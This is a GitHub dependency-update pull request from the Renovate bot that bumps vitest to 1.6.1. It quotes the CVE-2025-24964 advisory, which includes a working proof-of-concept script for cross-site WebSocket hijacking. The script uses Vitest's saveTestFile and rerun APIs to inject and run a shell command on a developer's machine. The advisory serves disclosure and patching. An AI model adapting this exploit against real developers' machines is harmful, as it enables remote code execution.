Skip to content

chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed#60

Closed
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability
Closed

chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed#60
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Apr 6, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vitest (source) 1.2.1 -> 1.6.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.0

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

v1.2.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Apr 6, 2025

⚠️ No Changeset found

Latest commit: ac73f03

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@codesandbox-ci
Copy link
Copy Markdown

codesandbox-ci Bot commented Apr 6, 2025

This pull request is automatically built and testable in CodeSandbox.

To see build info of the built libraries, click here or the icon next to each commit SHA.

@github-actions
Copy link
Copy Markdown

github-actions Bot commented Apr 6, 2025

📊 Package size report   No changes

File Before After
Total (Includes all files) 62.5 kB 62.5 kB
Tarball size 22.3 kB 22.3 kB
Unchanged files
File Size
.changeset/config.json 323 B
.changeset/README.md 510 B
.codesandbox/ci.json 38 B
.editorconfig 161 B
.gitattributes 40 B
.github/FUNDING.yml 197 B
.github/workflows/ci.yml 1.2 kB
.github/workflows/codeql.yml 848 B
.github/workflows/pkg-size.yml 539 B
.github/workflows/release.yml 1.0 kB
.github/workflows/vercel.yml 813 B
.lintstagedrc.cjs 50 B
.nvmrc 3 B
.prettierignore 78 B
.simple-git-hooks.cjs 51 B
.stylelintignore 84 B
.yarn/plugins/plugin-prepare-lifecycle.cjs 202 B
.yarnrc.yml 357 B
auto-imports.d.ts 814 B
CHANGELOG.md 204 B
docs/App.tsx 1.9 kB
docs/global.scss 156 B
docs/index.html 413 B
docs/index.tsx 208 B
docs/tsconfig.json 85 B
docs/vite.config.ts 382 B
LICENSE 1.1 kB
package.json 3.2 kB
packages/pkg/CHANGELOG.md 13 B
packages/pkg/package.json 830 B
packages/pkg/README.md 3.1 kB
packages/pkg/src/index.ts 36 B
packages/pkg/test/basic.spec.ts 101 B
packages/pkg/tsconfig.json 153 B
packages/pkg/tsconfig.tsbuildinfo 37.4 kB
README.md 5.1 kB
tsconfig.json 209 B
vercel.json 231 B
vitest.config.ts 341 B

🤖 This report was automatically generated by pkg-size-action

@renovate renovate Bot enabled auto-merge (squash) April 6, 2025 15:39
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed Apr 6, 2025
@renovate renovate Bot closed this Apr 6, 2025
auto-merge was automatically disabled April 6, 2025 15:59

Pull request was closed

@renovate renovate Bot deleted the renovate/npm-vitest-vulnerability branch April 6, 2025 15:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants